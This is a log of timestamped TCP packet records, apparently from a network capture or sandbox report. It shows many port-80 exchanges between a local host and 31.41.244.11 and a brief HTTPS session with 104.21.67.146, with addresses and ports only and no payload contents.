Dec 19, 2024 03:09:31.873235941 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.873265028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.873280048 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.873856068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.873900890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.874062061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.874106884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.874892950 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.874938011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.875030994 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.875081062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.875847101 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.875893116 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.875993967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.876035929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.876914978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.876930952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.876957893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.876976967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.877768040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.877813101 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.877931118 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.877974033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.878938913 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.878956079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.878985882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.879005909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.879847050 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.879890919 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:31.879911900 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.879996061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.880012035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.880055904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.880827904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.880872965 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.880913973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.880956888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.881915092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.881930113 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.881959915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.881975889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.883373022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.883388996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.883416891 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.883440971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.884624958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.884640932 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.884671926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.884697914 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.885042906 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.885113001 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.885325909 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.885370016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.885994911 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.886039972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.888319016 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.888364077 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:31.888385057 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.939133883 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:31.991579056 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:32.025698900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.025800943 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.025913000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.025966883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.026345015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.026361942 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.026393890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.026416063 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.027127981 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.027177095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.027194977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.027239084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.028009892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.028063059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.028641939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.028690100 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.029011011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.029057026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.029354095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.029397011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.029995918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.030046940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.030081034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.030123949 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.031068087 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.031116962 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.031121969 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.031169891 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.031981945 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.032028913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.032099962 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.032141924 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.032973051 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.033305883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.033358097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.033978939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.034091949 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.034162998 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.034202099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.034996986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.035048962 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.035089970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.035132885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.036021948 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.036071062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.036087036 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.036135912 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.036983967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.037034035 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.037081957 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.037123919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.037962914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.038007975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.038083076 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.038130045 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.039010048 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.039056063 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.039201021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.039242983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.039968967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.040013075 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.040175915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.040219069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.041078091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.041095018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.041121006 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.041137934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.042052984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.042097092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.042104959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.042145967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.043179035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.043224096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.043246031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.043287992 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.044084072 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.044100046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.044128895 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.044146061 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.044986010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.045037031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.045399904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.045444012 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.045985937 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.046039104 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.046134949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.046180964 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.047013998 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.047056913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.047154903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.047200918 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.048018932 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.048077106 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.048088074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.048127890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.048404932 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:32.048423052 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:32.049068928 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.049113989 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.049360037 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.049405098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.050187111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.050246000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.050314903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.050357103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.051265955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.051311016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.051362038 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.051404953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.052273989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.052321911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.052475929 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.052520037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.053406000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.053472996 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.053591013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.053636074 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.054689884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.054735899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.054785013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.054830074 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.055565119 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.055614948 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.055619001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.055666924 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.056474924 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.056499004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.056525946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.056544065 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.057297945 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.057344913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.057378054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.057421923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.057982922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.058034897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.058075905 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.058123112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.059111118 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.059127092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.059164047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.059179068 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.059937954 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.059992075 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.060054064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.060101986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.060997009 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.061044931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.061196089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.061242104 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.062206030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.062253952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.062294960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.062340975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.062994957 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.063041925 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.063067913 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.063113928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.064022064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.064094067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.064132929 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.064182043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.065016031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.065063000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.065074921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.065171957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.065932989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.065982103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.066103935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.066148043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.067163944 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.067186117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.067219973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.067250967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.067652941 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:32.067684889 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:32.067713022 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:32.067755938 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:32.067781925 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:32.067815065 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:32.067842960 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:32.067977905 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:32.067991972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.068006039 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:32.068036079 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:32.068036079 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.068053961 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:32.068109035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.068166018 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.069004059 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.069062948 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.069071054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.069117069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.069986105 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.070050001 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.070162058 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.070224047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.070931911 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.070986032 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.071053982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.071105957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.072091103 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.072107077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.072145939 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.072180033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.072921038 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.072978020 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.073029041 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.073271036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.073934078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.074004889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.074048996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.074101925 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.075061083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.075114965 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.075298071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.075346947 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.075957060 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.076009035 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.076024055 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.076091051 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.077013016 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.077028036 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.077090025 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.077871084 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.077992916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.217624903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.217714071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.217829943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.217889071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.218023062 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.218084097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.218133926 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.218192101 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.218318939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.218530893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.219125986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.219338894 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.219362020 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.219412088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.220237970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.220254898 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.220304012 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.221240997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.221256971 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.221292973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.221326113 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.222150087 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.222203970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.222215891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.222307920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.223305941 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.223330021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.223371029 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.224257946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.224319935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.224373102 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.224585056 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.224641085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.225524902 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.225579977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.225627899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.226331949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.226378918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.226391077 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.226421118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.227137089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.227202892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.227269888 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.227345943 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.228156090 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.228230000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.228260994 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.228295088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.229154110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.229207993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.229268074 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.230154037 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.230205059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:32.230257034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:32.230315924 CET	49885	80	192.168.2.5	31.41.244.11
